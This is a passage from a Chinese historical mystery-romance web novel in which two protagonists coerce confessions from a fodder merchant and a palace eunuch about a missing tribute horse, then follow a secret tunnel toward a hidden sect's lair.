白清舟也跟着劝道,“捕头大人,您说说,这天底下多少能人异士,你怎么就看上了少将军身边的人,何况这位是跟咱白家走的亲,是医者,医术极佳,您可莫要误了百姓啊!” “医者?”一听这话,欧阳恭傻眼了,“是大夫啊?失敬失敬。没想到,这还是回春堂走的亲,委实没料到。” 白清舟拱手,“家父看得紧,好大夫难求啊!” “原来如此。”欧阳恭点点头,“没看出来,公子年纪轻轻的,竟是一身好医术,来日造福百姓,造福乡里,实在是功德一件,委实不该入衙门,那便是屈才了。” 白清舟松了口气。 林序已经坐在了车前,“所以说,人不可貌相,心不能太贪,什么都要,只会毁了你。” 欧阳恭:“……” 林公子说话,越来越有道理了! 回到城内之后,大家个忙个的,林序去挑人,白清舟回去给父亲报信,出了这样的事情,自然不能小觑,万一与国公府一案有所瓜葛呢? 毕竟,跟将军府的人有点相熟,是否意味着是故人? 只要是故人,不管男的女的,不管熟不熟,都有可能是当年的知情者,或者是参与者,还可能是背叛者……不管怎样,都要告知父亲。 长辈的经验始终是有用的,白清舟自觉还年轻,所以没太多的经验,还是让老一辈把把关才好。 霍青行则是带着陈识月去找了,给宫中供给草料的饲马监。 饲马监的大太监和宫外的草料供给商人是单项联络,尤其是供给汗血宝马的草料,务必要做到事无巨细,不能出现任何的差池。 这些东西,都需要大太监一一查验,汗血宝马就两匹,一旦有所闪失,怕是要诛九族。 “就是那两个!”霍青行开口,指给陈识月看,“大太监,供给商。” 陈识月点头,“一人搞定一个?” 第三百零三章 她只用了三根银针 一人一个,先分开搞定,再对口供,就能得出真假。 当然,一人一个的前提是,霍青行先把人拿下。 汗血宝马之事,涉及九族,明目张胆的,谁也不敢说出真相,但若是殃及自身性命,那就另当别论,自己都顾不上了,哪儿还能顾得上其他? 麻袋一套,眼前一黑。 四下一片寂静,听不到半点异样的动静,麻袋里的人,默默竖起了耳朵,大概也不知道,自己到底招谁惹谁了? 性命攸关,一切都可以谈。 “呜呜呜……” 麻袋里传来了异样的动静,可见是人醒了。 外头黑漆漆的,屋内没有点灯,无半分光亮,到处都被遮掩得严严实实。 “呜呜呜……” 又是一阵挣扎。 麻袋被解开,露出了里面的脑袋。 即便是这个时候,陈识月也不敢大意,一根银针便扎在了那人的身上,原本还在扭曲的身子,顷刻间如同泄了气的皮球,软哒哒的倒伏在地上。 眼睛被蒙着,他什么都瞧不见。 “你是谁?”嘴里的布被扯下的那一刻,胡生财就开了口,“为什么要抓我?我们可有什么仇怨?阁下若是缺钱,只管开口,只要不伤及我的性命,你要多少都行。” 陈识月蹲在他跟前,捏了捏嗓子,“银子又算什么?我要的是你这条命。” 听着是陌生的声音,似乎是年纪很轻的男子? “你你你、你这话是什么意思?”胡生财瑟瑟发抖,“你要我的命?好汉饶命,好汉饶命,不知我胡某人在何处得罪了好汉,请好汉看在我上有高堂,下有幼儿的份上,放我一条生路。” 陈识月没说话,任由他情绪发酵。 好半晌,胡生财见着求饶无效果,便开始威逼利诱,“好汉,这是金都府,你若是杀了我,怕是也难逃府衙追捕,不如就开口提条件,只要我能办到的,我一定会双手奉上,这对你我而言便是最好的。” “你能办到?”陈识月音色低沉。 胡生财忙道,“能能能,我一定能。” “那你告诉我,账册在哪?”陈识月嗓音里带着几分冷笑。 听得胡生财瞬时起了一身的鸡皮疙瘩,可银针扎在身上,让他全然无法动弹,仿佛全身的骨头架子都是酥软的,使不上半点气力,除了呼吸再无任何的挣扎余地。 “你、你想干什么?”胡生财意识到,眼前人可能不是仇人,但绝对是仇家派来的。 陈识月又问,“草料是从西域选入?” “是!”胡生财低低的回答,“你是……是宫里的人?” 宫里的人? 来调查他的? 因为那件事吗? 听得出来,黑暗中的胡生财,说话很没底气,犹如做贼心虚一般。 陈识月便明白,有门! “你既然什么都清楚,那就不需要我再动手了。”陈识月冷笑两声,“你们偷龙转凤,瞒天过海,到底从中吃了多少好处,捞了多少油水,心里应该有本账吧!” 胡生财这下子抖得更厉害了,连银针都控制不住他的颤抖,可见这心里头怕得要死,“你们……都知道了?” “这九族的脑袋,你也敢往别人手里送,银子和命哪个重要,你是真的一点都分不清啊?”陈识月深吸一口气,“还有一桩事,你这草料除了供给饲马监,是不是还偷偷卖给了别人?” 胡生财想要说没有,可不知道为什么,身上疼得厉害,仿佛快要窒息,他大口大口的喘着气,如同濒死的鱼,拼命的想要活着,“是、是……放过我,我不想死!” “都卖给谁了?账册在哪?”陈识月追问。 胡生财都快哭了,嗓音里带着哭腔,声音都有些断断续续,“在、在我的铺子里,柜台里。” “那本账册是假的,你以为能骗得了谁?”陈识月又是一根银针下去,“都这个时候了还敢说假话,可见你是不到黄河心不死,不见棺材不掉泪!” 剧烈的疼痛,伴随着胸腔的憋闷,让胡生财痛苦到无法言语。 胸腔里的空气被快速排挤而空,他想呼吸,可每次呼吸带来的都是骨头缝里的钻心痛,让他每次呼吸都变成了折磨。 空气里,逐渐弥漫着一股子尿骚味。 陈识月动手,拔了一根银针,疼痛瞬间消失,让濒临憋死的胡生财终于喘过气来。 他大口大口的喘气,有种劫后余生的悲怆。 “在铺子柜子底下的暗格里。”好半晌,胡生财终于松了口。 陈识月顺手又拔掉了一根银针,这下子,他的呼吸终于顺畅了不少,但他知道……自己完了,身上的尿骚味,还有浑身的冷汗,以及尚未恢复的疲惫。 胡生财知道,今日怕是遇见了高手,僵持下去,自己只会死得更惨。 “你若是敢骗我,我绝对饶不了你。”陈识月音色狠戾。 她甚少有过这样的时候,但装一装却还是可以的,“你们做的那些事情,足够抄家灭族了,不只是你,还有宫里接应你的人。今日你不死,只是因为上天有好生之德,咱也不想让事情做得太绝,若能拨乱反正,也不是不可以。” “你、你愿意放过我?”胡生财诧异。 以为自己死定了,没想到还能有一线生机。 “不是我愿意放过你,是你自己救了自己。”陈识月低声开口,“等我验证你话中真假,是死是活全看你自己的。当然,你也别试图逃离,普天之下莫非王土,饲马监若是出了事,帝王不会放过你们全族。听明白了吗?” 胡生财喘着气,“听明白了,我不跑,我一定不跑。” 陈识月起身离开,“先躺着吧,等我拿到账册再来找你。” 门,吱呀一声打开。 其后,吱呀一声合上。 陈识月走出了房间,隔壁好似还没结束,不知道霍青行的战绩如何? 边关回来的,审问一个太监应该不是问题吧? 毕竟,更嘴硬的细作他们都面对过,何况是…… 想了想,陈识月便在外面候着,没打算进去叨扰,以免影响霍青行发挥。 内里,好像有些安静。 霍青行可没那么好脾气,那大太监也是个不挨揍不服的性子,一顿胖揍便安生了下来,该说的不该说的,都吐了个干净,比起胡生财的拖家带口,大太监王福这边倒是人口简单。 虽然不算是一人吃饱,全家不饿,但他怕死啊! 宫里虽算不上享福,但好吃好喝的,又有银子花,底下人恭维着,他怎么舍得死? 不想死就只能说实话。 “王福,你这饲马监的大太监当到头了,皇上……都知道了!” 第三百零四章 户部尚书,孙乾 一听这话,王福也不挣扎了,整个开始颤抖着,“你、你是何人?” 眼前一片漆黑,什么都看不见。 “甭管我是谁,我只问你,汗血宝马到底在还是不在?”霍青行问,“你说实话,也许还能留下一条命。要不然的话,你知道后果。” 王福战战兢兢,“什么汗血宝马?我告诉你,汗血宝马乃是宫中至宝,是皇上的心头好,尔等敢、敢做什么,皇上一定会……” “你们混淆视听,以假乱真,还打量着能骗到什么时候?”霍青行心里也有几分怀疑,“你确定汗血宝马还在吗?” 王福斩钉截铁的回答,“自然!皇上每年都要亲自去查看,这怎么可能混淆视听。” “那流落在外的汗血宝马,你怎么解释?”霍青行嗤冷,“打量着要把马送到皇上跟前,治你们一个看护不力之罪,你才肯死心说实话?” 王福这下子是真的惊了,“什么?” 流落在外的汗血宝马? 看得出来,他的确是知道的。 “当年西域进贡,真的就两匹吗?”霍青行冷哼,“王福,欺君罔上,你好大的胆子!不想要脑袋了?还是说,想试试凌迟处死的滋味?” 王福魂儿都快吓没了,“不不不,不是……跟我没关系,跟我没关系,这进宫的就两匹马,其他的事情都跟我没关系!” 那就是说,不只是两匹马?! 霍青行方才就是诈他一下,没想到居然能诈出这么大的事儿来! 这就是说,西域当时进贡的可能是三匹汗血宝马? 不对,那清单上应该也有写明。 若是清单上写着两匹,实则有三匹,就说明另外一匹马可能作为其他之用,以悄无声息的途径送入了大煜朝境内。 那么问题来了,其他用处……是什么用处? 收买人心? 贿赂? 收买人心的最终作用呢? 联想到长乐门,联想到此前发生的那些事,霍青行心里有极不好的猜想,虽然没有证据,没能证实,但如果…… “你可知道,另一匹马是送给何人的?”霍青行嗓音里的杀意,已经很明显了。 饶是王福被蒙住了眼睛,也能察觉到来自于对方的戾气。 那是极力压抑的愤怒,即将喷涌的火山。 一听这话,王福懵了片刻,但也悟出来了一桩事,那就是这匹马可能落在了对方手里,但他们没抓住马匹的主人,所以暗中调查。 王福慌乱至极,以至于连呼吸都略显紊乱,“我……我不知道。” “是你不知道,还是你不想说?偷盗贡品,其罪当诛。”霍青行不紧不慢的开口,“欺君罔上,千刀万剐也不为过。若是这匹马还涉及到了别的什么,牵扯出其他什么来,你猜猜……会怎样?” 牵扯到其他? 王福的冷汗涔涔而下,身子已经抖如筛糠。 “最后一次机会。”刀子已经落在了他的胸口位置,锋利的尖口已经刺了进去,“耐心是有限的,命也是,如果你宁死也要守住这个秘密,我也不是不可以……成全你!” “别,别杀我!只要你不杀我,我就告诉你,我什么都告诉你!”王福瑟瑟发抖。 他能清楚的感知,刀刃刺入了皮肉的疼痛,有温热的液体渗出,那是自己的血! 眼前人,他是真的会动手。 “说清楚,饶你一命。”霍青行音色冷冽。 王福忙道,“其实当初入宫的只有两匹马,一开始的时候,我也不清楚还有另一匹马的存在,后来无意间才得知还有一匹马,在入大煜的边境时,就已经被分了出去。说是送给了爱马之人,且这人跟西域那边有所牵连。攸关性命,咱也不敢泄露分毫。” “爱马之人?”霍青行忽然揪住了王福的衣襟,“此人是否身在行伍?” 王福慌乱摇头,“我不知道,我真的不知道,我只是个养马的,只知道还有一匹汗血宝马流落在外,且这些年一直没有消息,我还以为、还以为……” 还以为这匹马,已经死在了外面。 谁曾想,竟还有被人追问的一天。 数年前,西域使团进贡。 西域和蛮子他们是否…… 霍青行的心里乱糟糟的,外邦诸国,素来对大煜朝虎视眈眈,毕竟大煜地大物博,谁不想咬一口呢?哪怕只是一口,也足以让他们安生很久,吃上很多年。 “到底送给了谁?”霍青行没耐心了。 王福抖动着身子,冷汗不断的往外冒,“我……我……好像是行伍之人,但我、我真的不知道。” “那到底是谁在说,被你听到的?”霍青行问。 王福不说话了。 刀子,又往内捅了几分。 疼得王福当即叫出声来,“是孙大人!是孙大人!” “户部尚书,孙乾?” 王福连连点头,“是他,是他!当时我也不知道他和谁在说话,只是听到这么一耳朵,后来怕被发现就赶紧走了,我只看到他,别的……别的我什么都不知道啊!” 户部尚书,孙乾! 霍青行松了手,王福一下子瘫倒在地上,腥臭味忽然弥漫开来。 回过神来,霍青行转身就往外走。 “放了我,求求你,饶了我,我保证不会说出去的。”王福瑟瑟发抖,“我知道,你不是皇上的人,我……我保证什么都不说。” 如果是皇帝的人,早就是明目张胆的抓捕,而不是这般模样。 虽然不知道对方是什么人,但只要还留着一口气,总归是想求生的…… “老实待着!”霍青行合上房门。 出了门,惊觉陈识月已经在外面候着。 “我有收获。” “是行伍之人。” 两人一对账,忽然就沉默了。 行伍之人,汗血宝马,是贿赂,是补偿,是要挟,还是同流合污? “先拿到胡生财的账本再说。”陈识月说。 霍青行颔首。 果然,在铺子里的柜台底下,发现了两本账册,这应该是暗账。 胡生财的草料是专供皇宫的,尤其是上好的苜宿草,都是从西域那边运过来的,价值不菲,寻常人买不到也舍不得买,便是军中也不敢用这么好的草料,这可是专供汗血宝马所用。 但人总有贪心的时候,专供宫里捞不到太多油水,有些王公贵族不差钱,私底下也愿意花重金来买草料,饲养自家的爱马。 这些本不是大事,所以就算有人知道,也都是睁一只眼闭一只眼,只要不短了宫中草料便罢! 借着烛火,陈识月和霍青行快速翻看账本,一时间翻书声沙沙响。 蓦地,陈识月顿住,“每月一笔送往城外,无名无姓,甚是奇怪!” 第三百零五章 谁是买草料的人? 霍青行探头过来,瞧着陈识月手指的那几处,两人对视一眼,都嗅到了异样的味道,“城外,没名没姓,瞧着似乎是熟门熟路的。” “不知道能不能问出点东西?”陈识月合上账本,“走!” 有现成的证人,不问白不问。 胡生财已经昏睡了好一阵,这会终于被摇醒,整个人都还有些懵逼,唯一不变的就是眼前的一片漆黑,什么都看不见,身子依旧无法动弹。 “城外的这些草料,是送给谁的?有什么信物?还是说,交接过程有旁人不知的细枝末节?”陈识月一连几个发问。 问得胡生财愣了愣,其后便明白了陈识月的意思,“这我们也不清楚,只是把草料放到城外,你知道城外的义庄吗?” 羽睫骇然扬起,陈识月陡然看向霍青行,真的跟长乐门扯上关系了? “距离义庄不远处,有个茅屋,我们每次都是把草料放在茅屋里,然后拿走银子便罢了。”胡生财继续说,“反正不打照面,银货两讫的买卖,为何不做?” 这也是事实。 银货两讫,各不相扰。 多好的买卖! “你没见过对方的人?”陈识月问。 胡生财摇头,“没见过。” “一次都没有?”陈识月不敢置信。 胡生财很肯定的告诉她,“一次都没有。” “那是谁来跟你们谈的生意?”陈识月追问。 胡生财仔细的回想,“从一开始,就没有人来谈这笔买卖,是有人忽然将银票搁在了柜子上,然后留了一张纸条,上面写着所需草料数量,还有时间地址,仅此而已。” “没见着人,也敢这样做声音?”陈识月有些诧异。 胡生财轻咳了一声,“反正银子嘛,都长得一样,谁的银子不是银子?赚到自己口袋里的,就是自己的,管他是什么方式呢?” “人为财死鸟为食亡,你是真的狗胆包天。”陈识月有些感慨。 胡生财说不出话来了,事已至此,还有什么可说的呢? “其实你已经察觉到了,那人的不对劲,可为了银子还是昧着良心做了这笔买卖。”陈识月叹口气,“我说的没错吧?” 胡生财不知道该说什么,只能沉默下来。 还能如何? 说对了,就装死。 “多久送一次?有什么信号吗?把你们交易的整个过程都说出来,若有纰漏,出了岔子,我定不饶你,听明白了吗?”陈识月音色低冷,“你知道我的手段,不要玩花样。” 胡生财忙不迭行礼,“是是是,我一定如实说,绝不敢欺瞒。” 待得知了具体的步骤,时间地点还有交接方式,陈识月和霍青行对视一眼,缓步退了出来,是该去会一会了。 “每月一笔,那就是明天晚上。”陈识月掐算着时辰,“可是……” 霍青行示意她不要担心,“交给我,我能处理妥当,明天晚上我亲自去蹲,你在小院子里等我,若有消息,我会让管家或者是林序去找你。至于其他人,一律不要相信,谨防有诈。” “嗯!”陈识月点头。 她不会功夫,去了也是拖累,这种蹲点的活,还是让霍青行他们去做罢了! “这两人怎么办?”陈识月问,“不能一直关着吧?尤其是那个大太监,宫里要是知道人丢了,一定会去找,会不会打草惊蛇?” 霍青行一点都不担心,“放了便是,他敢往外说,诛九族都是轻的!” “不怕他告密?”陈识月问。 霍青行笑了,“既然连汗血宝马都敢昧下,还有什么不敢做的?王福一开口,就等着被杀人灭口吧!宫里的老人了,滑得跟泥鳅似的,你以为他蠢吗?” 装作什么都不知道,还能有一线生机。 若是去告密,第一个被灭口的就是王福自己! “那他呢?”陈识月指了指门内。 胡生财长了腿,是会跑的…… “失踪两天实属正常。”霍青行解释,“我会让人看着他,直到抓住了买草料的那个人,反正胡生财是个生意人,生意人嘛……到处跑,一时半会联络不上都是寻常。” 陈识月点点头,“都听你的,只是……得小心才是。” “放心,我知道分寸。”霍青行忽然抱了抱他。 陈识月心下一紧,“怎、怎么了?是觉得哪儿不妥吗?” “敌在暗,我在明,有些担心你。”霍青行将下颚抵在她肩头,低低的开口。 陈识月心思百转,伸出手轻轻拍了拍他的脊背,“莫要担心我,你知道的,我不是个会手下留情的人,若是敢招惹我,我必定要他们好看!我若下毒,谁也落不了好。” 别看她说话和和气气,却生得一副倔强骨头,人敬我一尺,我敬人一丈。 但人若犯我,我必斩草除根。 “话是这么说,但这是金都城,务必要当心。”霍青行还是那句话,“莫要轻信他人。” 陈识月明白,他这是因为安信和老二他们的事情,所以心有余悸? 伤害安信他们的,可能就是最信任的人,又或者是熟人,至少是能让人卸下防备的存在,所以霍青行担心陈识月。 尤其是,她不会手脚功夫,万一遇见危险,跑都跑不快…… “放心,这么多年都过来了,我懂得如此照顾自己。”陈识月倒是一点都不担心,反而觉得霍青行有点紧张过头的。 这里面大概也是因为,她这身份的缘故。 霍青行亲自送了陈识月去小院,两个账册全部交付在她手中,“自己小心。” “有消息随时通知我。” “好!” 霍青行转身离开,陈识月则带着这两本账册重新翻看着,所有的细枝末节,都有可能是线索,她不能就因为一条线索而放弃其他。 因果之所以为因果,是因为牵连其中,剪不断理还乱。 将军府。 林序挑了几个,还算是身手伶俐,管家递给他一个一个小包袱。 “这是何物?”林序收剑归鞘。 管家低声解释,“药!” 林序:“??” “若是遇见了安大人,兴许用得上。”管家心里有些不忍,“但愿能用上。” 能用上,那就是还活着。 用不上,那就这辈子都用不上了。 “水和干粮都在另一个包袱里。”管家继续说,“这山里的事儿,还真是说不准,咱也不知道这熊瞎子是不是真的?但防范一些总归是没错的。” 林序点点头,“我记下了。” “山中多瘴气,我特意让人给你们做了遮脸布,用特殊的药水浸泡过,若是真的遇见了,短期内还是可以确保周全的。”管家仔细叮嘱,“要小心啊!” 第三百零六章 这一次,差点露馅 林序带了八个人,一人一匹马,带着蓑衣斗笠进山,毕竟山中多雾气,有些东西还是要准备妥当的。 只不过,出了城之后,却遇见了一个意想不到的人。 “欧阳捕头?”林序皱眉。 瞧着骑着马,早已等候多时的欧阳恭,林序还真是有些诧异。 “我跟大人请了假,说是家中有事。”欧阳恭解释,“金都府还是我比较熟,你们这些外乡人哪儿能知晓更多?若无我带路,万一迷路怎么办?我身为衙门捕头,总归要为你们负责的。” 林序深吸一口气,“你不是说山中很危险吗?” “正因为危险,所以我这捕头更不能坐视不理。这件事归衙门管,你们不愿意让上面知晓太多,那我就不上报,只管跟着你们便是,待查明真相再与大人禀报不迟。”欧阳恭抓紧马缰,“东西我都准备好了,还不走?” 话都说到这份上了,林序再婆婆妈妈,似乎是不太妥当。 “既如此,若是出事可莫要怪我。”林序只能把丑话说在前面,“要是顾不上你,你自求多福。” 欧阳恭不以为意,“林公子这话说得,好像咱是个废物一般!你只管放心,咱既然敢迈出这一步,自然是生死自理,绝对不会拖累你们。” “话是你自己说的,可得认!”林序深吸一口气,倒也不再拒绝。 欧阳恭好歹是金都府的人,多多少少也知道一些地形什么的,不像他们就一张图纸然后便是两眼一抹黑,什么都不知道。 策马疾驰,进山的时候,林序下意识的环顾四周,倒也没有多想,只是叮嘱身边人,务必要小心谨慎,以免吃大亏。 这山里,十有八九是有陷阱的…… 林序一走,霍青行这边也有了动作。 一直等到夜里,草料始终放在那茅草屋内,因为地处偏僻,且这地方距离销金窝的那个义庄太近了,一般情况下根本无人经过。 换言之,但凡经过,不是探子就是本尊。 霍青行带着两个暗卫,悄无声息的蛰伏在树后,瞧着远处的茅草屋。 眼见着夜半三更,无星无月,再等下天都亮了,终于听到了一阵窸窣声。 这声音透着一丝古怪,好像是从附近的荒草堆里钻出来的,难道说之前就已经有人藏在了这附近?还是说,又什么密道之类的? 难道和那个义庄有关? 思及此处,霍青行示意身边的人莫要轻举妄动,先看看情况再说。 果不其然,有人影从荒草丛中钻出来,紧接着便是第二个,第三个……这些一个接一个的人,从荒草丛里钻出来,直奔茅草屋而去。 之前他们没发现荒草丛里藏了人啊! 这是怎么回事? 情况似乎有些不对头,这些人怎么会突然出现在这里? 霍青行眯起危险的眸子,瞧着这些人冲进了茅草屋,屋内有现成的独轮板车,两辆板车轮换着运着草料,将其从茅草屋里运出来,钻进了荒草丛中。 一人高的荒草丛里,到底藏了什么? 蓦地,独轮板车出来了。 车上已空,草料已卸。 如此反复,反复如此。 霍青行一直冷眼旁观,看着他们在荒草丛中钻进钻出的,及至最后一次,独轮板车空着回到了茅草屋内,这些人便重新将车子藏好,空着手从茅屋里出来,一头钻进了荒草丛中。 “跟上。”霍青行沉着脸。 三人缓步朝前走去,拨开了荒草丛,方才这些人就是从这边出来的,后来也是在这个方向消失的,大概就是在这附近。 “仔细脚下,分开找。” 霍青行沉着脸,目光在脚底下逡巡。因着天黑,要找真的不容易,只能在眼睛适应了黑暗之后,循着荒草倒伏的方向,慢慢摸索着。 三人皆是一言不发,猫着腰在荒草丛中找寻。 四下,有风吹过。 窸窸窣窣,荒草摇曳。 突然间,暗卫低语,“这里。” 霍青行疾步上前,果然发现了异常。 厚重的草皮下面,有一块硬板,应该就是他们来来去去的通道,但显然这里没人看着,毕竟一个月一次的草料运输,只要小心谨慎就好,平日没什么用处。 霍青行摆摆手,两暗卫旋即做好准备。 一个站直了环顾四周,警戒周遭。 一个则蹲下来,随时应对打开盖子之后,出现的各种状况。 各自做好准备之后,霍青行一用力便拽开了石板。 一股冷风瞬时迎面扑来,霍青行当即别了一下头,另一暗卫旋即侧头去看里面的状况,黑漆漆的,什么都没有。 “少将军,没人。”暗卫低语。 霍青行皱了皱眉,“看样子都已经撤离了。” 之前地道里肯定还有人,他们将草料送进去,里面的人便快速挪动草料离开,是以外面搬完了,里面也搬完了。 这帮蚂蚁搬家,速度还真够快的,大概不是头一遭的缘故,做得何其熟练! 静静的听了一下,察觉到里面没有动静,三人对视一眼,暗卫便快速下了绳梯,霍青行走在中间,另一暗卫则负责断后。 三人摸黑走在冷飕飕的地道内,连火折子都没燃,免得被人发现。 蓦地,霍青行顿住脚步,“等一下。” 有动静?! 有人! 前面有人。 三人旋即靠墙站着,好半晌都没有动静,须臾才慢慢悠悠的往前挪去,终于在转角处瞧见了一丝丝的光亮,大概是因为草料不少,他们还没来得及搬完,所以在这里耽搁了一会。 好半晌,那边的光亮暗淡了下去,三人便跟在了后面,继续朝着前面走去,也不知道这密道是要通往何处? 然而,再往前走,竟是一个分岔路口。 一分为二,不知道该往何处去? “你,去那边看看,自己小心。”霍青行低语,“若是不对,宁丢勿醒。” 暗卫颔首,“是!” 霍青行深吸一口气,看样子这密道还有很多秘密嘛! 那条道,不会是通往义庄的吧? 谁知道呢! 往前走,一直往前。 终于,霍青行又停了下来,只瞧着正前方竟然来了一波人,还有了异样的动静,似乎是在说话? 霍青行压着脚步声继续靠近。 “还是老样子吧?” “是,银子放在那里,应是明日就会有人取,依旧是老样子,没什么异常。” “那就好,千万不要出岔子,这一次差点露馅,还好咱们动作快。” “是是是,咱一定会谨记教训的。” “东西都送进山里去,不要耽搁。” “是!” 霍青行了悟,果然,要送进山的! 不过,他们说的“这一次差点露馅”是什么意思? 第三百零七章 主子的瓜,真好吃 霍青行一直跟在这些人的后面,看着他们搬运着草料,快速朝着一个方向行进,这条路似乎走了很久,终于在霍青行都快神情麻木的时候停了下来。 这些人开始搬运草料,放在了绳索上,任由上面的人把草料拉拽上去,而搬运的人则攀着绳梯而上,走出了这密道。 霍青行算是看出来了,那匹马的主人,是真的很喜欢这匹马,为了马能吃上这一口,特意弄了这么一条道,大费周章的就是为了一批草料。 每月一次,也不嫌麻烦…… 但有一点可以肯定,这些人动作熟练,不止做了一回,而且对马的主人应该是言听计从的,想必是他们的上司。 这样一个大人物,若是能抓住他,应该可以解开很多问题。 待草料全部被运上去,待光亮全部消失,霍青行带着暗卫便攀着绳梯上去。 上面,已经没有人了。 空空荡荡,到处都是树木幽深。 霍青行站在那里,瞧着远处那一点光亮,人应该是往那边去了,旋即带着人跟了上去,好在二人的速度够快,当即便赶了上去。 站在树梢上,霍青行看了一眼远处,义庄那边有羸弱的光亮闪烁,可见距离有点远,所以他们的草料没有通过义庄的途径,而是走了旁的路。 这是进山吗? 霍青行不敢耽误,继续追上去。 眼见着这些人走在了山道上,穿过了一片竹林,前面忽然一片白雾凭空起,紧接着便什么都看不清楚了,再想追……怕是会打草惊蛇。 “少将军,怎么办?”暗卫心惊。 这白雾迷茫,别说是追踪,怕是自己都会迷失其中,到时候出不来…… “做个记号。”霍青行止步不前,“先不过去了!” 做个记号,以后有机会再来,这大概率是进山了,而林序他们已经进山,不知道会不会撞上呢? 稍微等了一会,之前的那暗卫也回来了。 “是去义庄的。”暗卫回答,“但是卑职怕打草惊蛇,所以没有过去。” 少将军吩咐过,宁丢勿醒,那就不能打草惊蛇,只要知道方向便可。 “那就是说,购买草料的,是长乐门的人!”霍青行音色低沉,即便是黑暗中,也能察觉到他周身气压的骤降,“义庄是去销金窝的必经之路,兜兜转转的,却原来还是……” 霍青行长长吐出一口气,长乐门可真是该死啊! “撤!”霍青行转身就走。 两暗卫没有犹豫,快速跟在霍青行身后离开。 事已至此,留下记号便是。 陈识月一直在小院里等着,林序进了山,将军府那边没消息,她也不好出去找人,只盼着大家都能平安无事。 “姑娘莫要着急,少将军功夫好,人又聪明,不会有事的。”迎春为她沏茶,“睡不着就喝点水,看看书,要不然我给您点个安神香?” 陈识月摇摇头,“我想等等看!” 外头漆黑一片,今晚无星无月,夜风有些冷,哪怕是从窗外吹进来的,都觉得冷飕飕,有种让人不寒而栗的感觉。 陈识月拢了拢一紧,披散着头发靠在窗边的位置,静静的看着外头。 见此情形,迎春和冬梅对视一眼,无奈的摇头退出去。 杜忠和杜决在外头张望,“怎么了?” “是好事。”迎春说。 冬梅诧异,“眉头都快愁成三折叠,怎么还是好事?” “说明感情深呢!”迎春白了她一眼,“小丫头片子还没尝过男人味儿吧,这么不解风情?少将军没来,姑娘就愁容不展,说明好事将近了!” 冬梅恍然大悟,“原来如此!是好事!是好事!” “我瞧着姑娘聪慧,长得也俊俏,与少将军倒是极为般配,就是不知道老将军那边合不合适?”杜忠有点犹豫,“咱是江湖人,不懂这些高门宅邸的弯弯绕绕,只盼着他们能有情人终成眷属。” 杜决皱眉,“江湖人怎么了?江湖人义字当先,有什么不好?要是老将军不答应,咱就去说说,多找几个人说说,毕竟老将军膝下,如今就剩下这么一个独苗,没别人了,总得妥协吧?” “哎,你们说到时候咱坐哪一桌?”冬梅煞有其事的问。 迎春揉着眉心,“想太远了,先顾着眼前吧!少将军把人藏在这里,定然是有缘由的,先护好姑娘再说吧!” “闲着也是闲着,想想也不行?”冬梅小声嘟囔。 蓦地,四人同时站起身,杜忠杜决纵身一跃,稳稳落在院门口,迎春退到房门口,冬梅则握住了袖中暗器,大家随时准备出手。 然,进来的是霍青行。 “少将军?” 杜忠和杜决松了口气,冬梅将暗器收回去,迎春则赶紧进房间汇报。 “姑娘,少将军来了。” 陈识月一下子站起身,三步并作两步冲向门外。 霍青行已经走到了院中,正好瞧见陈识月夺门而出,四目相对,各自都愣了一下。 “走走走!”杜忠推搡着杜决。 迎春拽着冬梅离开。 这样的氛围,不该外人在场。 “没事就好。”陈识月松了口气,“查得如何?” 霍青行上前,“如果我说,此事跟长乐门有关,你信吗?” “我信。”陈识月点头,“我们原本就疑心,是长乐门所为,只不过如今你亲自证实了,是长乐门也好,来日若有机会一锅端了,正好一了百了。” 霍青行站在她跟前,“让你担心了。” “你功夫好,我有什么可担心的?”陈识月低头轻笑。 角落里探出四个脑袋,齐刷刷摇头。 明明担心得要死,嘴上却死活不认。 “真的?”霍青行又近前一步,徐徐弯腰凑近她,“那我这是白来一趟?还以为能瞧见你,为我忧思为我愁呢?” 迎春:亲上去,亲上去。 冬梅:哇,这是我能看的吗? 杜忠:看你们这副没见过世面的样子。 杜决:天生一对! “你莫要胡说八道,我自然是盼着你好,左不过也相信你。”陈识月白了他一眼,“少在我这里油嘴滑舌,你我前程未卜,以后的事情还说不准呢!” 霍青行忽然伸手,将她抱在怀中,“前程未卜又如何?妻位已定,此生不改!我霍青行这辈子,就认准你一人。” “你……”陈识月面上一热,慌忙推开她。 这院子里可不止他们二人。 一回神,人呢? 方才还满院子的人,这会倒是一个不剩。 迎春嘿嘿笑着,冬梅面红耳赤,杜忠和杜决瞧着这二人如此模样,怕坏了少将军好事,赶紧拽着二人离开。 都别看了,再看就会被发现的! 第三百零八章 这才是灵魂伴侣 四下无人,院中寂静。 原本瘆人的寒风,此刻倒是暖和了不少,可能是坐在身边的人,体温过高的缘故,吹过他的风再吹向她时,竟也透着丝丝暖意。 霍青行与她肩并肩坐在台阶上,说着今夜发生的事情,事无巨细,一一详述,如此一来,即便到时候真的出点什么事情,她也能在最短的时间内反应过来,做出正确的预判和选择。 不隐瞒,不藏私。 如此,才能更好的保护她。 “对了,两本账册里,提及了侯府。”陈识月忽然想起这一茬,真是差点忘了。 侯府? 孟家? “你是说……”霍青行的脸色不太好,“忠勇侯府。” 陈识月点头,“买了两批草料,不知道作甚?一批数年前买的,质地劣等,比寻常马匹饲养的草料还要差,可以算是粉末残渣之类。另一批则是质地中上,但是数量不多。” 她有点猜不透,侯府这么做的弯弯绕绕,到底是意欲何为? “保存好那两本账册。”霍青行看向她,“说不定在以后的某一天,能派上大用处。” 陈识月也是这么想的,“还有便是,长乐门在金都城外都敢如此造次,又是销金窝又是汗血宝马,偷个草料都这般谨慎,是否意味着他们总舵就在这里?” “我也有这个想法。”霍青行目不转睛的盯着她。 四目相对,二人想法同频。 “还有便是,这么大的动静,为何宫里、朝上一点都没反应?”霍青行又道,“要么有人蒙住了皇上的眼睛,要么有人只手遮天,堵住了下面的嘴。” 欺上,或者瞒下? 又或者是,既欺上又瞒下。 霍青行这话,让陈识月的一颗心不由自主的紧了紧,话到了嘴边又生生咽下。 “有话就说,你我之间还有什么不能说的?”霍青行看得出来,她的欲言又止,“你又在担心陈家的案子?觉得这滔天的权势能吃人,怕连累身边的所有人,对吗?” 陈识月没说话。 “滔天的权势,真的能遮天蔽日吗?江山代有人才出,终究是一代顶替一代,咱们还年轻,怕什么呢?若是真的没机会,那就等一等,熬着!”霍青行倒是很清醒,又分外乐观,“你我相隔这么多年都能重逢,那真相为什么不能重见天日呢?” 陈识月低下头。 “我们还年轻。”霍青行还是这句话,“当年闹出这些事的,都已经老了,熬都能熬死他们,等他们的后一辈长起来,说不定咱早就是只手遮天的那个人了!” 陈识月被他逗笑了,“你这人……” 